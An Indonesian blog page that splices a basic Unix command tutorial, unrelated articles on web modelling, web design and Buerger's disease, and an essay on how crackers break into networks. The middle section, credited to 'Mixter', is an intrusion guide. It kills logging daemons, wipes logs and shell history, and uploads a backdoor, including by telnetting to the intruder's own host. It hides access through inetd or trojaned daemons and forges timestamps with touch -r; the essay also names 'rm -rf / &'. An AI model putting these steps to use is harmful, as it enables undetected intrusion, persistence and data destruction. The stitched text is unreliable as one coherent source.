Sabtu, 27 Februari 2010

UNIX



Dasar-dasar Perintah Unix
Tentu Rekan - Rekan Sekalian ingin Mengatahui sebagian Perintah Unix? pada berbagai Clone Unix (BSD,Linux,Sunos,System V,SCO,IRIX,AIX) hampir mempunyai persamaan satu sama lain nya. Sebagai Contoh saya berikan Cara menjalankan perintah Linux ini sebagian saya ambil dari tutorial Kecoak Elektronik dan Perintah Jitu dari HAcker Israel yaitu Mixter
:: Tutorial CyberBug
PERINTAH-PERINTAH UNIX
Sebelum lanjut perlu diingat bahwa di Linux/UNIX semua perintah ditulis dalam huruf kecil,dan Linux/UNIX membedakan huruf besar dan kecil.
------> ls
Ingat perintah DIR di DOS? ... nah perintah ini sama dgn DIR, gunanya untuk menampilkan 'list' file di dalam directory. Perintah ls juga dilengkapi dengan flag tambahan yang bisa di lihat dengan mengetik :
ls --help ; menampilkan bantuan
man ls ; man bisa juga diartikan manual, jadi manual ls
Beberapa perintah ls yang umum adalah :
ls -l ; menampilkan informasi tambahan (l = long)
ls -a ; menampilkan hidden file (a = attribute)
ls -la
Informasi tambahan yang ditampilkan oleh flag -l menyangkut user yang memiliki 'owns', file tanggal dan jam file itu dibuat, hak/permissions file, dan informasi lain, contoh :
rwxr-x--x
Catatan :
karakter 1-3: user/owner permissions
karakter 4-6: group permissions
karakter 7-8: other permissions
This is what the letters mean:
r - read, permissions utk 'baca'
w - write, permission utk 'tulis'
x - (e)xecute, permission utk 'menjalankan'
Jadi pada contoh diatas :
user/owner dapat read/baca, write/tulis dan execute/jalankan file yg satu group dgn user/owner dpt read/baca, execute/jalankan file
user lain dapat execute/menjalankan file tsb - berarti permission tidak ada, jika ada d sebelum permission berarti itu adalah directory
------> cat
Cat atau concatenate dipakai untuk menampilkan dan menulis/membuat file, kira-kira sama dengan perintah TYPE di DOS. Untuk menampilkan isi file ketik : "cat " Untuk membuat file ketik : "cat > " ketik isi file dan utk menyimpan tekan CTRL + C atau CTRL + D kalau namafile sudah ada file tersebut akan ditimpa, jika kita ingin data ditambahkan kefile yang
sudah ada ganti > dengan >>
------> more
Menampilkan isi dari file, perlayar, tekan q untuk quit more jilid1.txt
-----> grep
Menampilkan semua baris yang mengandung pola yang diinginkan grep kecoak jilid1.txt akan menampilkan semua baris teks yang mengandung kecoak di file jilid1.txt
-----> man
UNIX help/manual, ketik : man untuk eksekusi.
man pwd
-----> echo
echo dipakai utk menampilkan apa yang kita ketik di layar, seperti :
echo "saya belajar linux"
saya belajar linux
atau untuk membuat file, seperti :
echo "biff n" > .profile
yang akan membuat file .profile di directory aktif yg berisi teks "biff n" atau menambah file isi file dgn mengganti > dengan >>
------> cp
copy, dipakai untuk mengcopy file.
cp jilid1.txt jilid1.txt.backup
cp jilid1.txt ~cyberbug/backup/jilid1.txt.backup
------> mv
move, mengganti nama file atau directory
mv jilid1.txt jilid1a.txt
mv backup bak
------> rm
remove, hapus file
rm jilid1.txt ; hapus file jilid1.txt
rm * ; hapus semua file di directory aktif (hati-hati!)
------> cd
change directory, dipakai untuk pindah directory, sama dengan perintah CD di DOS
cd /root
perhatikan bahwa di Linux yang digunakan adalah / (slash) bukan \ (backslash)
------> mkdir
make directory, membuat directory
mkdir backup
------> rmdir
remove directory, hapus directory, file-file dalam directory harus dihapus dulu sebelum menghapus directory.
rmdir backup
------> who
who digunakan untuk menampilkan user yang login ke system, hasilnya kira-kira sebagai berikut :
cyberservices:~$ who
root tty1 Dec 20 17:47
cyberbug tty2 Dec 20 17:48
cyberbug tty3 Dec 20 17:48
cyberbug ttyp0 Dec 20 18:43 (localhost)
Kolom pertama menunjukkan nama user yang login, kolom kedua menunjukkan terminal line yang digunakan, kolom ketiga menunjukkan waktu login dan kolom keempat menunjukkan domain atau IP asal mereka koneksi, jika kosong berarti mereka main langsung dari console.
------> whoami
Kalo lupa diri :) ini perintahnya : Siapakah Aku?
cyberservices:~$ whoami
cyberbug
------> who am i
Ini juga kalo sudah lupa daratan :))
cyberservices:~$ who am i
cyberservices!cyberbug tty3 Dec 20 17:48
------> pwd
Tampilkan directory aktif, pwd = print working directory, perintah yang dipakai kalo saat
jalan2, sudah gak tau mo pulang lewat mana :)
cyberservices:~$ pwd
/home/cyberbug
------> ps
Menampilkan proses yang aktif
cyberservices:~$ ps
PID TTY STAT TIME COMMAND
87 2 S 0:00 -bash
88 3 S 0:00 -bash
1440 2 S 0:00 pico jilid2.txt
1443 3 R 0:00 ps
------> ping
Mengecek host apakah 'up' utk istilah teknisnya silakan 'man ping'
cyberservices:~$ ping localhost
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.1 ms
--- localhost ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.2 ms
cyberservices:~$ ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.1 ms
--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.2 ms
cyberservices:~$
Perhatikan bahwa localhost dan 127.0.0.1 adalah sama :)
127.0.0.1 adalah local loopback yang disediakan untuk testing.
------> finger
Mencari informasi user
cyberservices:~$ finger
Login Name Tty Idle Login Time Office Office Phone
cyberbug CyberBug 2 Dec 22 01:10
cyberbug CyberBug 3 Dec 22 01:10
root 1 1:37 Dec 22 01:10
cyberservices:~$ finger @cyberservices.com
[cyberservices.com]

Welcome to Linux version 2.0.34 at cyberservices.com !
3:46am up 2:37, 3 users, load average: 0.00, 0.00, 0.00
Login Name Tty Idle Login Time Office Office Phone
cyberbug CyberBug 2 Dec 22 01:10
cyberbug CyberBug 3 Dec 22 01:10
root 1 1:39 Dec 22 01:10
cyberservices:~$ finger @localhost
[localhost]

Welcome to Linux version 2.0.34 at cyberservices.com !
3:47am up 2:38, 3 users, load average: 0.00, 0.00, 0.00
Login Name Tty Idle Login Time Office Office Phone
cyberbug CyberBug 2 Dec 22 01:10
cyberbug CyberBug 3 Dec 22 01:10
root 1 1:40 Dec 22 01:10
cyberservices:~$ finger cyberbug
Login: cyberbug Name: CyberBug
Directory: /home/cyberbug Shell: /bin/bash
On since Tue Dec 22 01:10 (PHT) on tty2 8 seconds idle
On since Tue Dec 22 01:10 (PHT) on tty3
Last login Tue Dec 22 01:13 (PHT) on tty4
Mail forwarded to "|IFS=' '&&exec /usr/bin/procmail -f-||exit 75
#cyberbug"
No mail.
No Plan.
cyberservices:~$ finger root
Login: root Name:
Directory: /root Shell: /bin/bash
On since Tue Dec 22 01:10 (PHT) on tty1 1 hour 42 minutes idle
Mail last read Tue Dec 15 09:19 1998 (PHT)
No Plan.
------> telnet
Melakukan komunikasi dengan host lain melalui telnet protocol
cyberservices:~$ telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Welcome to Linux 2.0.34.
cyberservices login: cyberbug
Password: 3m4nggu3p1k1r1n
Linux 2.0.34.
Last login: Tue Dec 22 01:13:52 on tty4.
No mail.
cyberservices:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 cyberservices.com ESMTP Sendmail 8.9.0/8.9.0; Tue, 22 Dec 1998
03:52:51 +0800
helo darling
250 cyberservices.com Hello cyberbug@localhost [127.0.0.1], pleased to
meet you
mail from: guest@cyberservices.com
250 guest@cyberservices.com... Sender ok
rcpt to: untukmu@seorang.jauh.disana
250 untukmu@seorang.jauh.disana... Recipient ok (will queue)
data
354 Enter mail, end with "." on a line by itself
Kukirim lagu dan salam rinduku
.
250 EAA01615 Message accepted for delivery
quit
cyberservices:~$ telnet localhost 110
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK cyberservices POP3 Server (Version 1.005l) ready at 03:53:35 1998>
user root
+OK please send PASS command
pass 3m4nggu3p1k1r1n
+OK 2 messages ready for root in /usr/spool/mail/root
stat
+OK 2 7227
retr 1
quit
------> ftp
Menggunakan file tranfer program
cyberservices:~$ ftp localhost
Connected to localhost.
220 cyberservices.com FTP server (Version wu-2.4.2-academ[BETA-15](1) Wed
May 20 13:45:04 CDT 1998) ready.
Name (localhost:cyberbug): ftp
331 Guest login ok, send your complete e-mail address as password.
Password: cyberbug@k-elektronik.org
230-Welcome, archive user! ... blah
blah ... blah
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp juga bisa dilakukan dengan melakukan telnet ke port 21
cyberservices:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 cyberservices.com FTP server (Version wu-2.4.2-academ[BETA-15](1) Wed
May 20 13:45:04 CDT 1998) ready.
------> talk
Berbicara dengan user lain, misalnya cyberbug request talk ke root sbb:
talk root
atau
talk root@cyberservices.com
[Waiting for your party to respond]
[Ringing your party again]
Di terminal root akan muncul pesan :
Message from Talk_Daemon@cyberservices at 4:00 ...
talk: connection requested by cyberbug@localhost.
talk: respond with: talk cyberbug@localhost
root harus mengetik talk cyberbug@localhost jika ingin menjawab request
talk cyberbug@localhost
[Connection established]
:: Perintah Tambahan dari Saya ( r3v0lt aka Intruded)
1. Perintah Untuk Kompilasi File
ex. #gcc -o namafile filekompilasi
#gcc -o pscan pscan.c
2. Perintah Running file eksekusi
ex. #./file
#./pscan
#./scaner.pl
#./scanner.sh
3. Perintah Hentikan proses
ex.# Ctrl+c
4. Perintah Proses sementara
ex.#ctrl+z ,balik ke shell ketik fg (pada FreeBSD)
5. Perintah ganti Shell (pada FreeBSD)
ex.#chsh ---> ksh,bash,tcsh
6. Perintah Ganti Passwd
ex.#passwd
7. Perintah melihat ip suatu host
ex.#dig ip
ex.#nslookup ip
8. Perintah editor
ex.#pico wepedodol.c
9. perintah pipa, dua proses sekaligus
ex.# ls -al |head file
akan menanmpilakn direktori bagian atas nya saja
10.perintah ganti mode
ex.#chmod +x file
r - read, permissions utk 'baca'
w - write, permission utk 'tulis'
x - (e)xecute, permission utk 'menjalankan'
:: Begitu aja dolo yaaa ok say.....
::: Keterangan Lae Kita Mixter =
Here are my suggestions...

1. killall -9 syslogd klogd - pesky loggers! only few admins will notice if they get turned off. Now you can act freely.
copy secure.1 and messages.1 from /var/log over secure and messages Normally, these logs are the only ones with the intruders IP
and traces of a root compromise in them. If *.1 doesn't exist, truncate the files. Also, unset HISTFILE is important.
Nobody does unset HISTFILE, thus leaving a .bash_history in /var/named or even /. Very unprofessional :).
2. uname -a, w, last -10, cat /etc/passwd /etc/inetd.conf... Inform yourself about the frequency the system is being
maintained, administrated, if the logfiles are being analyzed.
* Look how many people have access to it (/etc/passwd) - the more the better for you (keeps attention away from you).
* Look if the system is already backdoored!! you might want to remove other backdoors.
* Look for a loghost or snmp (dangerous because you cant manipulate the logs on a far-away loghost). Watch out for *logd, sniffers,
netmon's etc before you do anything great on the host. If you are paranoid, traceroute the host, and see if non-routers are before that host (probably IDS, loghost, sniffer, etc).
3. This is important: DONT MANIPULATE THE SYSTEM CONFIGURATION! DOH!
It is too easy to detect you if you add yourself to /etc/passwd, or open a port by manipulating inetd.conf. Let me tell you that
root kits and /bin/login trojans are the first things any sane admin will watch for. Install a nice stealthy port backdoor. My approach
to uploading files is doing:
(on your box)

$ uuencode -m backdoor.c backdoor.c | less

(on the target box)
uudecode

# cc -o backdoor backdoor.c
A nice different method is putting a daemon on your own box, on port 666, that spits out the source code when someone telnets to
it, so you can do telnet ppp-42.haxor.net 666 > backdoor.c As I said, make sure you can get back in. If the box you rooted
has an uptime of more than 300 days or so, you might consider not installing the backdoor for startup. Instead, kill the
vulnerable daemon, and when the host restarts, come back using an exploit. Normally, you can replace a lame daemon that nobody uses
with your backdoor. Look at inetd.conf to see what daemons are active. A safe bet is in.talkd which often is activated but seldom
ever used. So, when you want to re-activate your backdoor, talk root@0wned.host.com for a second, and your backdoor is running.
You can also add /path/to/backdoor to /root/.profile.. but it is a bit riskier than the inetd backdoor method.

4. Subscribe to bugtraq, CIAC security list, or look at rootshell, to see what you need to do to patch your buggy stuff. If RPM is
installed you can try a rpm -U ftp://ftp.cdrom.com/rightdir/daemon.rpm If not, use ncftp to fetch the file anonymously, because it doesn't need user interaction. If you want, add an additional backdoor in your "patched" server. QPOP 2.53 even supports this itself.
For all files you replace, you should modify the time stamps, which wont help, if the admin uses tripwire or cksum, but if the
admin is, like most admins, a complete lamer that does find / -ctime to scan for trojans and thinks he knows his job. :P
To modify timestamps, you do a simple:

touch -r /bin/bash /path/to/your/trojan

this will copy the exact date/time info from /bin/bash over your freshly added trojan. Voila! The alternative to all this for lazy people is, to add a ipfwadm rule that prevents traffic from the outside (-W eth0) to the ports with the buggy daemons, and adding that command
to a rc.d script as well. Bind doesn't need tcp port 53 for anything except zone transfers and the RoTShB/ADM bind exploits. It works
fine with 53/tcp firewalled. But be aware that this might get you detected, lets say if you disable port 110 or 143 on an ISP's
central mail exchange server...

About your backdoor:
Port > 10000 is strongly recommended, also a backdoor using UDP, ICMP, or even something as unusual as raw IP is very useful.
People that bind /bin/sh to a port are idiots, because they open that host to everyone, letting in sniffers, and probably other people who may damage the host seriously. Make sure to password protect everything that runs as root. A password of a minimum length of 8 characters, because you have no way of detecting a brute force attack. For the C programmers, let me say, listen(sockfd,1). Maybe 2 connections, but not more.

For comfortability, you can add some stuff you want to occur on each successful backdoor login, like system("w"), system("killall -9 syslogd klogd"), or whatever. If you want a front-end backdoor with some integrated functions, try gateway[5].



------------------------------------------------------------------------------------------
..::: JasaKom :::..


r3v0lt
aka Intruded

* http://private.localbox.net (staff only - no link)
* http://published.localbox.net (free exploits - k00lz
* http://restriction.localbox.net (staff only - no link)

Credit Mixter & CyberBug (was confirmation Sept 2001)
File = Public ! or MaYBe go to: http://published.localbox.net
-------------------------------------------------------------
/*
Dipersilahkan untuk mengkopi paste dan menyebarluaskan secara tak terbatas
artikel ini asal dengan tujuan pendidikan dan menyertakan credit atas
r3v0lt aka Intruded. Penulis dan editor tidak bertanggung jawab atas
penyalahgunaan versi pendidikan artikel ini.
*/

Pembuatan Sistim Pemodelan Dinamis Berbasis Web

Seiring dengan perkembangan aplikasi-aplikasi yang berjalan pada media website, maka tidak heran jika kebanyakan orang lebih mencari tool yang siap pakai di atas media web browser (perangkat online). Oleh karena itu dalam perancangan ini dibuat suatu sistem pemodelan dinamis berbasis web. Sistem ini bekerja untuk menyelaikan fenomena-fenomena alam yang dinamis, karena hampir semua fenomena alam adalah sistem dinamik tak linier, yang artinya mengalami perubahan terhadap waktu dengan hubungan variabel-variabel yang terlibat memberi pengaruh yang tidak proporsional, seperti halnya siklus banjir tiap tahunan, populasi, dsb.

Permasalahan-permasalahan tersebut sangatlah penting untuk dikaji dan diprediksi dalam sebuah pemodelan matematis yang setidaknya dapat diambil sample sebagai data acuan keberlangsungan permasalahan-permasalahan dinamis tersebut untuk menentukan atau paling tidak memprediksi data yang akan terjadi di kemudian. Sistem disini secara umum bekerja dengan fungsi perulangan for sehingga dihasilkan data iterasi yang kontinue sampai batas yang ditentukan, sehingga diperoleh sebaran data dalam interfal waktu tertentu.
Proses itu dilalui oleh 3 tahapan, yaitu
(1) pengisian form setting konfigurasi dan input inisialisasi dan kode program, (2) informasi input dikelolah dan hasil data di masukkan dalam database, dan
(3) data di database ditampilkan dalam tabel dan visualisasi grafik. Kata Kunci: Sistim, Dinamis, Web, Browse


SUMBER : beta.eepis.ac.id

Mendesain ala WebDesigner

Sering kita temui website yang tipikal: "Welcome to my homepage," animasi e-mail, background dengan tulisan miring (diagonal), animasi garis pembatas, tabel dengan border tiga-dimesi dan lain-lain. Hal ini terjadi akibat dari fasilitas Template yang disediakan oleh software pembuat web seperti: FrontpageT, Corel WebDesignerT, dan sebagainya yang ditujukan untuk mempermudah penggunanya dalam membangun website.
Jika anda puas dengan hasil kerja anda membangun website dengan fasilitas template, sudahlah cukup sampai disini. Tetapi jika anda tidak puas dengan apa yang anda buat, dan anda merasa ingin lebih baik, maka anda perlu mengetahui bagaimana Web Designer membangun suatu Website, terlepas anda punya bakat seni atau tidak.
1. Unik : Dalam membuat karya apapun seorang designer mempunyai kesadaran untuk tidak meniru atau menggunakan karya orang lain. Begitu pula seorang Web Designer harus mempunyai budaya malu untuk menggunakan icon, animasi, button, dll, yang telah digunakan atau dibuat oleh orang lain.
2. Komposisi : Seorang Web Designer selalu memperhatikan komposisi warna yang akan digunakan dalam website yang dibuatnya. Pergunakan selalu Palette 216 WebColor, yang dapat diperoleh dari Adobe.com, hal ini untuk mencegah terjadinya dither pada image yang berformat GIF. Dalam membangun website suatu perusahaan, Web Designer selalu menyesuaikan warna yang digunakan dengan Corporate Color perusahaan tersebut. Sebagai contoh: Telkom Corporate Color-nya adalah biru, Coca-Cola : merah dan putih, Standard-Chartered : hijau dan biru, dsb. Untuk kemudian warna-warna tadi digunakan sebagai warna dominan atau sebagai elemen pendukung (garis, background, button, dsb).
3. Simple : Web Designer banyak yang menggunakan prinsip "Keep it Simple", hal ini ditujukan agar tampilan website tersebut terlihat rapi, bersih dan juga informatif.
4. Semiotik : Semiotika adalah ilmu yang mempelajari tentang tanda-tanda. Dalam hal ini diharapkan dengan melihat tanda atau gambar, user/ audience dapat dengan mudah dan cepat mengerti. Sebagai contoh: Jangan membuat gambar/image yang berkesan tombol, padahal itu bukan tombol/ link.
5. Ergonomis : Web Designer selalu memperhatikan aspek ergonomi. Ergonomi disini adalah dalam hal kenyamanan user dalam membaca dan kecepatan user dalam menelusuri website tersebut. Web Designer memilih ukuran Fonts yang tepat sehingga mudah dibaca, Web Designer menempatkan link sedemikian rupa sehingga mudah dan cepat untuk di akses dan lebih penting lagi adalah Informatif.
6. Fokus : Tentukan hirarki prioritas dari pesan yang akan disampaikan, misalnya: Judul harus besar, tetapi jangan sampai akhirnya akan konflik dengan subjudul yang berukuran hampir sama. Hal ini akan membingungkan user/audience untuk menentukan pesan mana yang harus lebih dahulu dibaca/ dilihat.
7. Konsisten : Tentukan font apa yang akan digunakan sebagai Body-text, Judul, Sub Judul dan sebagainya, sehingga website tersebut akan terlihat disiplin dan rapi. Sesuaikan jenis huruf yang digunakan dengan misi dan visi website tersebut, misalnya: hindari menggunakan font Comic dalam membangun website suatu perusahaan resmi.
Demikian beberapa aspek dan prinsip yang digunakan Web Designer dalam membuat website, selebihnya merupakan ekspresi dari pembuat website itu sendiri yang terwujud dalam penggayaan penyusunan website.

Sumber : tidak diketahui

Cegah rokok , bebas sakit Buerger!



Ifan baru saja pulang dari kuliah, tetapi dia merasa kedinginan dan jarinya seperti kebiru-biruan. Tentu saja ibunya cemas melihat kondisi anaknya. Dia pikir anaknya itu masuk angin biasa, maka dia kaget ketika diperiksa ke dokter, ternyata Ifan didiagnosa menderita penyakit Buerger.

Dari namanya, penyakit ini memang masih jarang terdengar oleh orang awam. Namun demikian, penyakit ini perlu pula diketahui masyarakat luas. Penyakit Buerger, atau tromboangitis obliterans, ditandai dengan terjadinya radang pembuluh darah arteri, kapiler dan saraf, yang menyebabkan penebalan dinding pembuluh darah. Hal ini disebabkan oleh infiltrasi sel darah putih.

Penyebab penyakit Buerger tidak diketahui, namun karena paling banyak menyerang remaja pria yang merokok, maka penyakit ini diyakini merupakan reaksi terhadap sesuatu yang terkandung dalam rokok atau sebagai akibat dari gangguan genetik atau gangguan otoimunitas.

Gejala awal biasanya adalah warna kebiru-biruan pada jari kaki, jari tangan dan munculnya rasa dingin pada anggota tubuh yang terserang. Karena saraf juga meradang, bisa muncul rasa sakit dan penyumbatan pembuluh darah kecil yang dikendalikan oleh saraf-saraf tersebut. Saraf simpatis yang terlalu aktif juga bisa menyebabkan kaki berkeringat secara berlebihan, meskipun kedinginan. Karena pembuluh darah tersumbat, klaudikasio intermiten dan gejala-gejala lain yang menyerupai penyakit arteri obstruksi kronis tersebut sering muncul. Luka iskemik dan gangren merupakan komplikasi umum penyakit Buerger yang makin parah.

Pengobatan yang paling penting adalah menghentikan kebiasaan merokok; jika ini dilakukan sejak awal munculnya penyakit, yaitu sebelum pembuluh darah dan saraf rusak parah, gejala-gejala ini biasanya mudah diobati. Jika terjadi gangguan sirkulasi atau rasa sakit, maka perlu dilakukan operasi server saraf simpatis yang menyebabkan pembuluh darah kecil tersumbat.

Penelitian-penelitian yang dilakukan baru-baru ini menunjukkan bahwa akupungtur bisa meningkatkan aliran darah pada penyakit Buerger dan fenomena Reynaud. Sebaliknya, tidak ada terapi alternatif yang benar-benar bisa menyembuhkan penyakit ini.
Karena penyakit ini sangat berkaitan dengan kebiasaan merokok, menghentikan kebiasaan ini merupakan langkah pencegahan yang paling efektif.
Penyakit ini paling sering menyerang pria berusia 20 dan 40 tahun yang merokok. Kasus yang terjadi pada wanita hanya kira-kira 5%.

Sumber : tidak diketahui

Belajar Menjadi Hacker

Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan - mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.

Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik - jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut - karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.
Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di http://bastille-linux.sourceforge.net/, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.

Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-Online/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini - tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.

Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e.

Dijelaskan oleh Front-line Information Security Team, "Techniques Adopted By 'System Crackers' When Attempting To Break Into Corporate or Sensitive Private Networks," fist@ns2.co.uk http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 - karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.

Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.
Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk
(1) hosting web server mereka,
(2) komunikasi e-mail dan
(3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).
Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.
Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah 'ls ' , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah 'expn ', dan (5) mem-finger user di mesin-mesin eksternal lainnya.

Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.

Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti 'ps' & 'netstat' di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.

Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai 'root' (administrator tertinggi di server).

Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan 'clean-up' operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang 'backdooring'. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.
Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah 'rm -rf / &'. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.

Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan 'rm -rf / &'.
